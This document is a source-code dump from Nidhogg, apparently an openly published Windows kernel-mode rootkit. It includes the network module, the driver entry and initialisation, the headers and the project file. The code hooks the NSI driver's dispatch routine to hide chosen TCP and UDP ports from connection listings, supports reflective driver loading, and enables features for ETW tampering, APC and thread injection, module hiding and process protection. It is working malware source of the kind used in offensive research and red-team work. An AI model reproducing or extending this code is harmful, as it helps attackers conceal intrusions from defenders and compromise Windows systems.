84 | * @DeviceObject [PDEVICE_OBJECT] -- Driver device object.
85 | * @Irp [PIRP] -- Pointer to the Irp.
86 | * @Context [PVOID] -- Irp context.
87 | *
88 | * Returns:
89 | * @status [NTSTATUS] -- Depends on the status of the previous function.
90 | */
91 | NTSTATUS NsiIrpComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context) {
92 | SIZE_T entriesHidden = 0;
93 | HookedCompletionRoutine* context = (HookedCompletionRoutine*)Context;
94 |
95 | if (NT_SUCCESS(Irp->IoStatus.Status)) {
96 | do {
97 | PNSI_PARAM nsiParameter = (PNSI_PARAM)Irp->UserBuffer;
98 |
99 | if (VALID_USERMODE_MEMORY((ULONGLONG)nsiParameter)) {
100 | if (!NT_SUCCESS(ProbeAddress(nsiParameter, sizeof(PNSI_PARAM), sizeof(PNSI_PARAM), STATUS_UNSUCCESSFUL)))
101 | break;
102 | }
103 | else if (!VALID_KERNELMODE_MEMORY((ULONGLONG)nsiParameter) || !nsiParameter)
104 | break;
105 |
106 | if (nsiParameter->Entries && nsiParameter->EntrySize > 0) {
107 | PNSI_TABLE_TCP_ENTRY tcpEntries = (PNSI_TABLE_TCP_ENTRY)nsiParameter->Entries;
108 | PNSI_UDP_ENTRY udpEntries = (PNSI_UDP_ENTRY)nsiParameter->Entries;
109 | PNSI_STATUS_ENTRY statusEntries = (PNSI_STATUS_ENTRY)nsiParameter->StatusEntries;
110 | PNSI_PROCESS_ENTRY processEntries = (PNSI_PROCESS_ENTRY)nsiParameter->ProcessEntries;
111 |
112 | auto HidePort = [](PVOID Entries, PNSI_PARAM nsiParameter, PNSI_STATUS_ENTRY statusEntries,
113 | PNSI_PROCESS_ENTRY processEntries, SIZE_T i) {
114 | USHORT entriesIndex = i + 1;
115 |
116 | if (!&((PUCHAR)Entries)[entriesIndex])
117 | entriesIndex = i - 1;
118 |
119 | RtlMoveMemory(&((PUCHAR)Entries)[i], &((PUCHAR)Entries)[entriesIndex], (nsiParameter->Count - entriesIndex) * nsiParameter->EntrySize);
120 |
121 | if (statusEntries) {
122 | entriesIndex = i + 1;
123 |
124 | if (!&statusEntries[entriesIndex])
125 | entriesIndex = i - 1;
126 |
127 | RtlMoveMemory(&statusEntries[i], &statusEntries[entriesIndex], (nsiParameter->Count - entriesIndex) * sizeof(NSI_STATUS_ENTRY));
128 | }
129 |
130 | if (processEntries) {
131 | entriesIndex = i + 1;
132 |
133 | if (!&processEntries[entriesIndex])
134 | entriesIndex = i - 1;
135 |
136 | RtlMoveMemory(&processEntries[i], &processEntries[entriesIndex], (nsiParameter->Count - entriesIndex) * nsiParameter->ProcessEntrySize);
137 | }
138 | };
139 |
140 | for (SIZE_T i = 0; i < nsiParameter->Count; i++) {
141 | if (nsiParameter->Type == COMUNICATION_TYPE::TCP) {
142 | // Edge case of somehow the entries list is empty or invalid address of entry.
143 | if (!tcpEntries)
144 | continue;
145 |
146 | if (!VALID_USERMODE_MEMORY((ULONGLONG)&tcpEntries[i]))
147 | continue;
148 |
149 | HiddenPort hiddenPort{};
150 |
151 | __try {
152 | hiddenPort.Port = htohs(tcpEntries[i].Local.Port);
153 | hiddenPort.Type = PortType::TCP;
154 | hiddenPort.Remote = false;
155 |
156 | if (NidhoggNetworkUtils->FindHiddenPort(hiddenPort)) {
157 | HidePort(tcpEntries, nsiParameter, statusEntries, processEntries, i);
158 | }
159 |
160 | hiddenPort.Port = htohs(tcpEntries[i].Remote.Port);
161 | hiddenPort.Type = PortType::TCP;
162 | hiddenPort.Remote = true;
163 |
164 | if (NidhoggNetworkUtils->FindHiddenPort(hiddenPort)) {
165 | HidePort(tcpEntries, nsiParameter, statusEntries, processEntries, i);
166 | }
167 | }
168 | __except (EXCEPTION_EXECUTE_HANDLER) {}
169 | }
170 | else if (nsiParameter->Type == COMUNICATION_TYPE::UDP) {
171 | // Edge case of somehow the entries list is empty or invalid address of entry.
172 | if (!udpEntries)
173 | continue;
174 |
175 | if (!VALID_USERMODE_MEMORY((ULONGLONG)&udpEntries[i]))
176 | continue;
177 |
178 | HiddenPort hiddenPort{};
179 |
180 | __try {
181 | hiddenPort.Port = htohs(udpEntries[i].Port);
182 | hiddenPort.Type = PortType::UDP;
183 |
184 | if (NidhoggNetworkUtils->FindHiddenPort(hiddenPort)) {
185 | HidePort(udpEntries, nsiParameter, statusEntries, processEntries, i);
186 | }
187 | }
188 | __except (EXCEPTION_EXECUTE_HANDLER) { }
189 | }
190 | }
191 |
192 | nsiParameter->Count -= entriesHidden;
193 | }
194 | } while (false);
195 | }
196 |
197 | if (context->OriginalCompletionRoutine) {
198 | PIO_COMPLETION_ROUTINE originalRoutine = context->OriginalCompletionRoutine;
199 | PVOID originalContext = NULL;
200 |
201 | if (context->OriginalContext)
202 | originalContext = context->OriginalContext;
203 |
204 | ExFreePoolWithTag(Context, DRIVER_TAG);
205 | return originalRoutine(DeviceObject, Irp, originalContext);
206 | }
207 |
208 | ExFreePoolWithTag(Context, DRIVER_TAG);
209 | return STATUS_SUCCESS;
210 | }
211 |
212 | /*
213 | * Description:
214 | * HookedNsiDispatch is responsible to handle IOCTLs for Nsi.
215 | *
216 | * Parameters:
217 | * @DeviceObject [PDEVICE_OBJECT] -- Driver device object.
218 | * @Irp [PIRP] -- Pointer to the Irp.
219 | *
220 | * Returns:
221 | * @status [NTSTATUS] -- Whether the operation was successful or not.
222 | */
223 | NTSTATUS HookedNsiDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
224 | auto stack = IoGetCurrentIrpStackLocation(Irp);
225 |
226 | if (stack->Parameters.DeviceIoControl.IoControlCode == IOCTL_NSI_ENUMERATE_OBJECTS_ALL_PARAMETERS) {
227 | HookedCompletionRoutine* context = AllocateMemory(sizeof(HookedCompletionRoutine), false);
228 |
229 | if (context) {
230 | context->OriginalCompletionRoutine = stack->CompletionRoutine;
231 | context->OriginalContext = stack->Context;
232 | stack->Context = context;
233 | stack->CompletionRoutine = NsiIrpComplete;
234 | stack->Control |= SL_INVOKE_ON_SUCCESS;
235 | }
236 | }
237 |
238 | return ((PDRIVER_DISPATCH)NidhoggNetworkUtils->GetOriginalCallback())(DeviceObject, Irp);
239 | }
240 |
241 | /*
242 | * Description:
243 | * FindHiddenPort is responsible for searching if a port exists in the hidden ports list.
244 | *
245 | * Parameters:
246 | * @port [HiddenPort] -- Port to find.
247 | *
248 | * Returns:
249 | * @status [bool] -- Whether found or not.
250 | */
251 | bool NetworkUtils::FindHiddenPort(HiddenPort port) {
252 | AutoLock locker(this->HiddenPortsList.Lock);
253 |
254 | for (USHORT i = 0; i <= this->HiddenPortsList.LastIndex; i++) {
255 | if (this->HiddenPortsList.Ports[i].Port == port.Port && this->HiddenPortsList.Ports[i].Type == port.Type) {
256 | if (port.Type == PortType::TCP && this->HiddenPortsList.Ports[i].Type == PortType::TCP) {
257 | if (this->HiddenPortsList.Ports[i].Remote != port.Remote)
258 | continue;
259 | }
260 | return true;
261 | }
262 | }
263 | return false;
264 | }
265 |
266 | /*
267 | * Description:
268 | * AddHiddenPort is responsible for adding a port to the hidden ports list.
269 | *
270 | * Parameters:
271 | * @port [HiddenPort] -- Port to add.
272 | *
273 | * Returns:
274 | * @status [bool] -- Whether successfully added or not.
275 | */
276 | bool NetworkUtils::AddHiddenPort(HiddenPort port) {
277 | AutoLock locker(this->HiddenPortsList.Lock);
278 |
279 | for (USHORT i = 0; i < MAX_PORTS; i++)
280 | if (this->HiddenPortsList.Ports[i].Port == 0) {
281 | this->HiddenPortsList.Ports[i].Port = port.Port;
282 | this->HiddenPortsList.Ports[i].Type = port.Type;
283 | this->HiddenPortsList.Ports[i].Remote = port.Remote;
284 |
285 | if (i > this->HiddenPortsList.LastIndex)
286 | this->HiddenPortsList.LastIndex = i;
287 |
288 | this->HiddenPortsList.PortsCount++;
289 |
290 | if (!this->CallbackActivated) {
291 | NTSTATUS status = this->InstallNsiHook();
292 |
293 | if (!NT_SUCCESS(status)) {
294 | this->RemoveHiddenPort(port);
295 | break;
296 | }
297 | }
298 | return true;
299 | }
300 | return false;
301 | }
302 |
303 | /*
304 | * Description:
305 | * RemoveHiddenPort is responsible for removing a port from the hidden ports list.
306 | *
307 | * Parameters:
308 | * @port [HiddenPort] -- Port to remove.
309 | *
310 | * Returns:
311 | * @status [bool] -- Whether successfully removed or not.
312 | */
313 | bool NetworkUtils::RemoveHiddenPort(HiddenPort port) {
314 | USHORT newLastIndex = 0;
315 | AutoLock locker(this->HiddenPortsList.Lock);
316 |
317 | for (USHORT i = 0; i <= this->HiddenPortsList.LastIndex; i++) {
318 | if (this->HiddenPortsList.Ports[i].Port != 0) {
319 | if (this->HiddenPortsList.Ports[i].Port == port.Port && this->HiddenPortsList.Ports[i].Type == port.Type) {
320 | if (this->HiddenPortsList.Ports[i].Type == PortType::TCP) {
321 | if (this->HiddenPortsList.Ports[i].Remote != port.Remote) {
322 | newLastIndex = i;
323 | continue;
324 | }
325 | }
326 |
327 | if (i == this->HiddenPortsList.LastIndex)
328 | this->HiddenPortsList.LastIndex = newLastIndex;
329 | this->HiddenPortsList.Ports[i].Port = 0;
330 | this->HiddenPortsList.PortsCount--;
331 |
332 | if (this->GetPortsCount() == 0 && this->CallbackActivated) {
333 | this->UninstallNsiHook();
334 | }
335 | return true;
336 | }
337 | else
338 | newLastIndex = i;
339 | }
340 | }
341 | return false;
342 | }
343 |
344 | /*
345 | * Description:
346 | * ClearHiddenPortsList is responsible for clearing the hidden ports list.
347 | *
348 | * Parameters:
349 | * There are no parameters.
350 | *
351 | * Returns:
352 | * There is no return value.
353 | */
354 | void NetworkUtils::ClearHiddenPortsList() {
355 | AutoLock locker(this->HiddenPortsList.Lock);
356 |
357 | memset(&this->HiddenPortsList.Ports, 0, MAX_PORTS * sizeof(HiddenPort));
358 | this->HiddenPortsList.LastIndex = 0;
359 | this->HiddenPortsList.PortsCount = 0;
360 | }
361 |
362 | /*
363 | * Description:
364 | * QueryHiddenPorts is responsible for getting the hidden ports.
365 | *
366 | * Parameters:
367 | * @outputHiddenPorts [OutputHiddenPorts*] -- List of hidden ports to fill.
368 | *
369 | * Returns:
370 | * There is no return value.
371 | */
372 | void NetworkUtils::QueryHiddenPorts(OutputHiddenPorts* outputHiddenPorts) {
373 | USHORT outputIndex = 0;
374 |
375 | AutoLock locker(this->HiddenPortsList.Lock);
376 | outputHiddenPorts->PortsCount = this->HiddenPortsList.PortsCount;
377 |
378 | for (USHORT i = 0; i <= this->HiddenPortsList.LastIndex; i++) {
379 | if (this->HiddenPortsList.Ports[i].Port != 0) {
380 | outputHiddenPorts->Ports[outputIndex].Port = this->HiddenPortsList.Ports[i].Port;
381 | outputHiddenPorts->Ports[outputIndex].Type = this->HiddenPortsList.Ports[i].Type;
382 | outputIndex++;
383 | }
384 | }
385 | }
--------------------------------------------------------------------------------
/Nidhogg/NetworkUtils.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "MemoryHelper.hpp"
4 |
5 | extern "C" {
6 | #include "WindowsTypes.hpp"
7 | #include "NidhoggCommon.h"
8 | }
9 |
10 | constexpr USHORT MAX_PORT_NUMBER = 65535;
11 | constexpr USHORT MAX_PORTS = 256;
12 | constexpr ULONG IOCTL_NSI_ENUMERATE_OBJECTS_ALL_PARAMETERS = 0x12001B;
13 |
14 | constexpr USHORT htohs(USHORT port) { return (((port >> 8) & 0x00FF) | ((port << 8) & 0xFF00)); }
15 |
16 | enum class PortType {
17 | TCP,
18 | UDP
19 | };
20 |
21 | struct InputHiddenPort {
22 | bool Hide;
23 | bool Remote;
24 | PortType Type;
25 | USHORT Port;
26 | };
27 |
28 | struct HiddenPort {
29 | bool Remote;
30 | PortType Type;
31 | USHORT Port;
32 | };
33 |
34 | struct OutputHiddenPorts {
35 | HiddenPort Ports[MAX_PORTS];
36 | USHORT PortsCount;
37 | };
38 |
39 | struct HiddenPorts {
40 | FastMutex Lock;
41 | HiddenPort Ports[MAX_PORTS];
42 | USHORT LastIndex;
43 | USHORT PortsCount;
44 | };
45 |
46 | struct HookedCompletionRoutine {
47 | PIO_COMPLETION_ROUTINE OriginalCompletionRoutine;
48 | PVOID OriginalContext;
49 | };
50 |
51 | NTSTATUS NsiIrpComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);
52 | NTSTATUS HookedNsiDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp);
53 |
54 | class NetworkUtils
55 | {
56 | private:
57 | bool CallbackActivated;
58 | HiddenPorts HiddenPortsList;
59 | PVOID OriginalNsiDispatchAddress;
60 |
61 | NTSTATUS InstallNsiHook();
62 | NTSTATUS UninstallNsiHook();
63 |
64 | public:
65 | void* operator new(size_t size) {
66 | return AllocateMemory(size, false);
67 | }
68 |
69 | void operator delete(void* p) {
70 | if (p)
71 | ExFreePoolWithTag(p, DRIVER_TAG);
72 | }
73 |
74 | NetworkUtils();
75 | ~NetworkUtils();
76 |
77 |
78 | bool FindHiddenPort(HiddenPort port);
79 | bool AddHiddenPort(HiddenPort port);
80 | bool RemoveHiddenPort(HiddenPort port);
81 | void ClearHiddenPortsList();
82 | void QueryHiddenPorts(OutputHiddenPorts* outputHiddenPorts);
83 |
84 | USHORT GetPortsCount() { return this->HiddenPortsList.PortsCount; }
85 | PVOID GetOriginalCallback() { return this->OriginalNsiDispatchAddress; }
86 | };
87 |
88 | inline NetworkUtils* NidhoggNetworkUtils;
89 |
90 |
--------------------------------------------------------------------------------
/Nidhogg/Nidhogg.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "Nidhogg.h"
3 |
4 | extern "C"
5 | NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
6 | #ifdef DRIVER_REFLECTIVELY_LOADED
7 | UNREFERENCED_PARAMETER(DriverObject);
8 | UNREFERENCED_PARAMETER(RegistryPath);
9 | Features.DriverReflectivelyLoaded = true;
10 | Features.ProcessProtection = false;
11 | Features.ThreadProtection = false;
12 | Features.RegistryFeatures = false;
13 | Print(DRIVER_PREFIX "Driver is being reflectively loaded...\n");
14 |
15 | UNICODE_STRING driverName = RTL_CONSTANT_STRING(DRIVER_NAME);
16 | UNICODE_STRING routineName = RTL_CONSTANT_STRING(L"IoCreateDriver");
17 | tIoCreateDriver IoCreateDriver = (tIoCreateDriver)MmGetSystemRoutineAddress(&routineName);
18 |
19 | if (!IoCreateDriver)
20 | return STATUS_INCOMPATIBLE_DRIVER_BLOCKED;
21 |
22 | NTSTATUS status = IoCreateDriver(&driverName, &NidhoggEntry);
23 |
24 | if (!NT_SUCCESS(status))
25 | Print(DRIVER_PREFIX "Failed to create driver: (0x%08X)\n", status);
26 | return status;
27 | #endif
28 |
29 | return NidhoggEntry(DriverObject, RegistryPath);
30 | }
31 |
32 | /*
33 | * Description:
34 | * NidhoggEntry is responsible for handling the driver loading process.
35 | *
36 | * Parameters:
37 | * @DriverObject [PDRIVER_OBJECT] -- The driver object contains a lot of important driver configuration such as DeviceObject, MajorFunctions and more.
38 | * @RegistryPath [PUNICODE_STRING] -- The driver's associated registry path, unused.
39 | *
40 | * Returns:
41 | * @status [NTSTATUS] -- Whether the driver is loaded successfuly or not.
42 | */
43 | NTSTATUS NidhoggEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
44 | UNREFERENCED_PARAMETER(RegistryPath);
45 | NTSTATUS status = STATUS_SUCCESS;
46 |
47 | if (!InitializeFeatures()) {
48 | ClearAll();
49 | return STATUS_INCOMPATIBLE_DRIVER_BLOCKED;
50 | }
51 |
52 | // Setting up the device object.
53 | UNICODE_STRING deviceName = RTL_CONSTANT_STRING(DRIVER_DEVICE_NAME);
54 | UNICODE_STRING symbolicLink = RTL_CONSTANT_STRING(DRIVER_SYMBOLIC_LINK);
55 | UNICODE_STRING altitude = RTL_CONSTANT_STRING(OB_CALLBACKS_ALTITUDE);
56 | UNICODE_STRING regAltitude = RTL_CONSTANT_STRING(REG_CALLBACK_ALTITUDE);
57 | PDEVICE_OBJECT DeviceObject = nullptr;
58 |
59 | // Creating device and symbolic link.
60 | status = IoCreateDevice(DriverObject, 0, &deviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
61 |
62 | if (!NT_SUCCESS(status)) {
63 | Print(DRIVER_PREFIX "Failed to create device: (0x%08X)\n", status);
64 | ClearAll();
65 | return status;
66 | }
67 |
68 | status = IoCreateSymbolicLink(&symbolicLink, &deviceName);
69 |
70 | if (!NT_SUCCESS(status)) {
71 | Print(DRIVER_PREFIX "Failed to create symbolic link: (0x%08X)\n", status);
72 | IoDeleteDevice(DeviceObject);
73 | ClearAll();
74 | return status;
75 | }
76 |
77 | // Registering the process callback function only if the driver isn't reflectively loaded (to avoid BSOD).
78 | if (!Features.DriverReflectivelyLoaded) {
79 | OB_OPERATION_REGISTRATION operations[] = {
80 | {
81 | PsProcessType,
82 | OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
83 | OnPreOpenProcess, nullptr
84 | },
85 | {
86 | PsThreadType,
87 | OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
88 | OnPreOpenThread, nullptr
89 | }
90 | };
91 | OB_CALLBACK_REGISTRATION registrationCallbacks = {
92 | OB_FLT_REGISTRATION_VERSION,
93 | REGISTERED_OB_CALLBACKS,
94 | RTL_CONSTANT_STRING(OB_CALLBACKS_ALTITUDE),
95 | nullptr,
96 | operations
97 | };
98 |
99 | status = ObRegisterCallbacks(®istrationCallbacks, &RegistrationHandle);
100 |
101 | if (!NT_SUCCESS(status)) {
102 | Print(DRIVER_PREFIX "Failed to register process callback: (0x%08X)\n", status);
103 | status = STATUS_SUCCESS;
104 | Features.ProcessProtection = false;
105 | Features.ThreadProtection = false;
106 | }
107 |
108 | status = CmRegisterCallbackEx(OnRegistryNotify, ®Altitude, DriverObject, nullptr, &NidhoggRegistryUtils->RegCookie, nullptr);
109 |
110 | if (!NT_SUCCESS(status)) {
111 | Print(DRIVER_PREFIX "Failed to register registry callback: (0x%08X)\n", status);
112 | status = STATUS_SUCCESS;
113 | Features.RegistryFeatures = false;
114 | }
115 | }
116 | else {
117 | DeviceObject->Flags |= DO_BUFFERED_IO;
118 | DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
119 | }
120 |
121 | // Setting up functions.
122 | DriverObject->DriverUnload = NidhoggUnload;
123 | DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = NidhoggCreateClose;
124 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = NidhoggDeviceControl;
125 |
126 | ExecuteInitialOperations();
127 |
128 | Print(DRIVER_PREFIX "Initialization finished.\n");
129 | return status;
130 | }
131 |
132 | /*
133 | * Description:
134 | * NidhoggUnload is responsible for handling the driver unloading process which includes: Removing all hooks, deleting the symbolic link and the deviceobject.
135 | *
136 | * Parameters:
137 | * @DriverObject [PDRIVER_OBJECT] -- The driver object contains a lot of important driver configuration such as DeviceObject, MajorFunctions and more.
138 | *
139 | * Returns:
140 | * There is no return value.
141 | */
142 | void NidhoggUnload(PDRIVER_OBJECT DriverObject) {
143 | Print(DRIVER_PREFIX "Unloading...\n");
144 |
145 | if (Features.RegistryFeatures) {
146 | NTSTATUS status = CmUnRegisterCallback(NidhoggRegistryUtils->RegCookie);
147 |
148 | if (!NT_SUCCESS(status)) {
149 | Print(DRIVER_PREFIX "Failed to unregister registry callbacks: (0x%08X)\n", status);
150 | }
151 | }
152 |
153 | ClearAll();
154 |
155 | // To avoid BSOD.
156 | if (Features.ThreadProtection && Features.ProcessProtection && RegistrationHandle) {
157 | ObUnRegisterCallbacks(RegistrationHandle);
158 | RegistrationHandle = NULL;
159 | }
160 |
161 | UNICODE_STRING symbolicLink = RTL_CONSTANT_STRING(DRIVER_SYMBOLIC_LINK);
162 | IoDeleteSymbolicLink(&symbolicLink);
163 | IoDeleteDevice(DriverObject->DeviceObject);
164 | }
165 |
166 | /*
167 | * Description:
168 | * ExecuteInitialOperations is responsible for executing initial opeartions script.
169 | *
170 | * Parameters:
171 | * There are no parameters.
172 | *
173 | * Returns:
174 | * There is no return value.
175 | */
176 | void ExecuteInitialOperations() {
177 | ScriptManager* scriptManager = nullptr;
178 | ScriptInformation scriptInfo{};
179 |
180 | if (InitialOperationsSize == 0 || !InitialOperations)
181 | return;
182 |
183 | scriptInfo.ScriptSize = InitialOperationsSize;
184 | MemoryAllocator scriptAllocator(&scriptInfo.Script, scriptInfo.ScriptSize);
185 | NTSTATUS status = scriptAllocator.CopyData((PVOID)InitialOperations, scriptInfo.ScriptSize);
186 |
187 | if (!NT_SUCCESS(status))
188 | return;
189 |
190 | __try {
191 | scriptManager = new ScriptManager();
192 | status = scriptManager->ExecuteScript((PUCHAR)scriptInfo.Script, scriptInfo.ScriptSize);
193 | }
194 | __except (EXCEPTION_EXECUTE_HANDLER) {
195 | status = GetExceptionCode();
196 | }
197 |
198 | if (scriptManager) {
199 | delete scriptManager;
200 | scriptManager = nullptr;
201 | }
202 |
203 | if (!NT_SUCCESS(status))
204 | Print(DRIVER_PREFIX "Failed to execute initial operations (0x%08X)\n", status);
205 | else
206 | Print(DRIVER_PREFIX "Executed initial opeartions successfully.\n");
207 | }
208 |
209 | /*
210 | * Description:
211 | * NidhoggCreateClose is responsible for creating a success response for given IRP.
212 | *
213 | * Parameters:
214 | * @DeviceObject [PDEVICE_OBJECT] -- Not used.
215 | * @Irp [PIRP] -- The IRP that contains the user data such as SystemBuffer, Irp stack, etc.
216 | *
217 | * Returns:
218 | * @status [NTSTATUS] -- Always will be STATUS_SUCCESS.
219 | */
220 | NTSTATUS NidhoggCreateClose(PDEVICE_OBJECT, PIRP Irp) {
221 | Irp->IoStatus.Status = STATUS_SUCCESS;
222 | Irp->IoStatus.Information = 0;
223 | IoCompleteRequest(Irp, IO_NO_INCREMENT);
224 | return STATUS_SUCCESS;
225 | }
226 |
227 | /*
228 | * Description:
229 | * ClearAll is responsible for freeing all allocated memory and cleaning all the globals.
230 | *
231 | * Parameters:
232 | * There are no parameters.
233 | *
234 | * Returns:
235 | * There is no return value.
236 | */
237 | void ClearAll() {
238 | delete NidhoggProccessUtils;
239 | delete NidhoggFileUtils;
240 | delete NidhoggMemoryUtils;
241 | delete NidhoggAntiAnalysis;
242 | delete NidhoggRegistryUtils;
243 | delete NidhoggNetworkUtils;
244 | }
245 |
246 | /*
247 | * Description:
248 | * InitializeFeatures is responsible for initializing the features and the globals.
249 | *
250 | * Parameters:
251 | * There are no parameters.
252 | *
253 | * Returns:
254 | * There is no return value.
255 | */
256 | bool InitializeFeatures() {
257 | // Get windows version.
258 | RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) };
259 | NTSTATUS result = RtlGetVersion(&osVersion);
260 |
261 | if (!NT_SUCCESS(result))
262 | return false;
263 |
264 | WindowsBuildNumber = osVersion.dwBuildNumber;
265 |
266 | if (WindowsBuildNumber < WIN_1507)
267 | return false;
268 |
269 | UNICODE_STRING routineName = RTL_CONSTANT_STRING(L"ExAllocatePool2");
270 | AllocatePool2 = MmGetSystemRoutineAddress(&routineName);
271 |
272 | // Initialize utils.
273 | NidhoggProccessUtils = new ProcessUtils();
274 |
275 | if (!NidhoggProccessUtils)
276 | return false;
277 |
278 | NidhoggFileUtils = new FileUtils();
279 |
280 | if (!NidhoggFileUtils)
281 | return false;
282 |
283 | NidhoggMemoryUtils = new MemoryUtils();
284 |
285 | if (!NidhoggMemoryUtils)
286 | return false;
287 |
288 | NidhoggAntiAnalysis = new AntiAnalysis();
289 |
290 | if (!NidhoggAntiAnalysis)
291 | return false;
292 |
293 | NidhoggRegistryUtils = new RegistryUtils();
294 |
295 | if (!NidhoggRegistryUtils)
296 | return false;
297 |
298 | NidhoggNetworkUtils = new NetworkUtils();
299 |
300 | if (!NidhoggNetworkUtils)
301 | return false;
302 |
303 | // Initialize functions.
304 | if (!(PULONG)MmCopyVirtualMemory)
305 | Features.ReadData = false;
306 |
307 | if (!(PULONG)ZwProtectVirtualMemory || !Features.ReadData)
308 | Features.WriteData = false;
309 |
310 | if (!Features.WriteData || !(PULONG)PsGetProcessPeb)
311 | Features.FunctionPatching = false;
312 |
313 | if (!(PULONG)PsGetProcessPeb || !(PULONG)PsLoadedModuleList || !&PsLoadedModuleResource)
314 | Features.ModuleHiding = false;
315 |
316 | if (!(PULONG)ObReferenceObjectByName)
317 | Features.FileProtection = false;
318 |
319 | if (!(PULONG)KeInsertQueueApc)
320 | Features.EtwTiTamper = false;
321 |
322 | if (!(PULONG)KeInitializeApc || !(PULONG)KeInsertQueueApc || !(PULONG)KeTestAlertThread || !(PULONG)ZwQuerySystemInformation)
323 | Features.ApcInjection = false;
324 |
325 | if (NidhoggMemoryUtils->FoundNtCreateThreadEx())
326 | Features.CreateThreadInjection = true;
327 | return true;
328 | }
329 |
--------------------------------------------------------------------------------
/Nidhogg/Nidhogg.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 |
4 | extern "C" {
5 | #include "WindowsTypes.hpp"
6 | }
7 | #include "NidhoggCommon.h"
8 | #include "ProcessUtils.hpp"
9 | #include "MemoryUtils.hpp"
10 | #include "FileUtils.hpp"
11 | #include "RegistryUtils.hpp"
12 | #include "AntiAnalysis.hpp"
13 | #include "NetworkUtils.hpp"
14 | #include "ScriptManager.h"
15 | #include "NidhoggDeviceControl.hpp"
16 | #include "InitialOperation.hpp"
17 |
18 | // Definitions.
19 | constexpr SIZE_T REGISTERED_OB_CALLBACKS = 2;
20 | #define DRIVER_NAME L"\\Driver\\Nidhogg"
21 | #define DRIVER_DEVICE_NAME L"\\Device\\Nidhogg"
22 | #define DRIVER_SYMBOLIC_LINK L"\\??\\Nidhogg"
23 | #define OB_CALLBACKS_ALTITUDE L"31105.6171"
24 | #define REG_CALLBACK_ALTITUDE L"31122.6172"
25 |
26 | // Prototypes.
27 | NTSTATUS NidhoggEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath);
28 | DRIVER_UNLOAD NidhoggUnload;
29 | DRIVER_DISPATCH NidhoggDeviceControl, NidhoggCreateClose;
30 | void ClearAll();
31 | bool InitializeFeatures();
32 | void ExecuteInitialOperations();
33 |
--------------------------------------------------------------------------------
/Nidhogg/Nidhogg.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 | Debug
22 | ARM
23 |
24 |
25 | Release
26 | ARM
27 |
28 |
29 | Debug
30 | ARM64
31 |
32 |
33 | Release
34 | ARM64
35 |
36 |
37 |
38 | {13C57810-FF18-4258-ABC9-935040A54F0B}
39 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d}
40 | v4.5
41 | 12.0
42 | Debug
43 | Win32
44 | Nidhogg
45 | $(LatestTargetPlatformVersion)
46 |
47 |
48 |
49 | Windows10
50 | true
51 | WindowsKernelModeDriver10.0
52 | Driver
53 | WDM
54 |
55 |
56 | Windows10
57 | false
58 | WindowsKernelModeDriver10.0
59 | Driver
60 | WDM
61 |
62 |
63 | Windows10
64 | true
65 | WindowsKernelModeDriver10.0
66 | Driver
67 | WDM
68 | false
69 |
70 |
71 | Windows10
72 | false
73 | WindowsKernelModeDriver10.0
74 | Driver
75 | WDM
76 | false
77 |
78 |
79 | Windows10
80 | true
81 | WindowsKernelModeDriver10.0
82 | Driver
83 | WDM
84 |
85 |
86 | Windows10
87 | false
88 | WindowsKernelModeDriver10.0
89 | Driver
90 | WDM
91 |
92 |
93 | Windows10
94 | true
95 | WindowsKernelModeDriver10.0
96 | Driver
97 | WDM
98 |
99 |
100 | Windows10
101 | false
102 | WindowsKernelModeDriver10.0
103 | Driver
104 | WDM
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 | DbgengKernelDebugger
116 |
117 |
118 | DbgengKernelDebugger
119 |
120 |
121 | DbgengKernelDebugger
122 |
123 |
124 | DbgengKernelDebugger
125 |
126 |
127 | DbgengKernelDebugger
128 |
129 |
130 | DbgengKernelDebugger
131 |
132 |
133 | DbgengKernelDebugger
134 |
135 |
136 | DbgengKernelDebugger
137 |
138 |
139 |
140 | sha256
141 |
142 |
143 |
144 |
145 | sha256
146 |
147 |
148 |
149 |
150 | sha256
151 |
152 |
153 | stdcpp20
154 | false
155 | true
156 | Use
157 | pch.h
158 | Level4
159 | true
160 |
161 |
162 | /INTEGRITYCHECK %(AdditionalOptions)
163 |
164 |
165 | %(AdditionalDependencies);$(KernelBufferOverflowLib);$(DDK_LIB_PATH)ntoskrnl.lib;$(DDK_LIB_PATH)hal.lib;$(DDK_LIB_PATH)FltMgr.lib
166 | DriverEntry
167 |
168 |
169 | python.exe ..\\post_compilation_operation.py
170 |
171 |
172 | Executing post compilation operations
173 |
174 |
175 |
176 |
177 | sha256
178 |
179 |
180 | stdcpp20
181 | false
182 | true
183 | Use
184 | pch.h
185 | true
186 |
187 |
188 | /INTEGRITYCHECK %(AdditionalOptions)
189 |
190 |
191 | %(AdditionalDependencies);$(KernelBufferOverflowLib);$(DDK_LIB_PATH)ntoskrnl.lib;$(DDK_LIB_PATH)hal.lib;$(DDK_LIB_PATH)FltMgr.lib
192 | DriverEntry
193 |
194 |
195 | false
196 |
197 |
198 | false
199 |
200 |
201 | false
202 |
203 |
204 | python.exe ..\\post_compilation_operation.py
205 | Executing post compilation operations
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
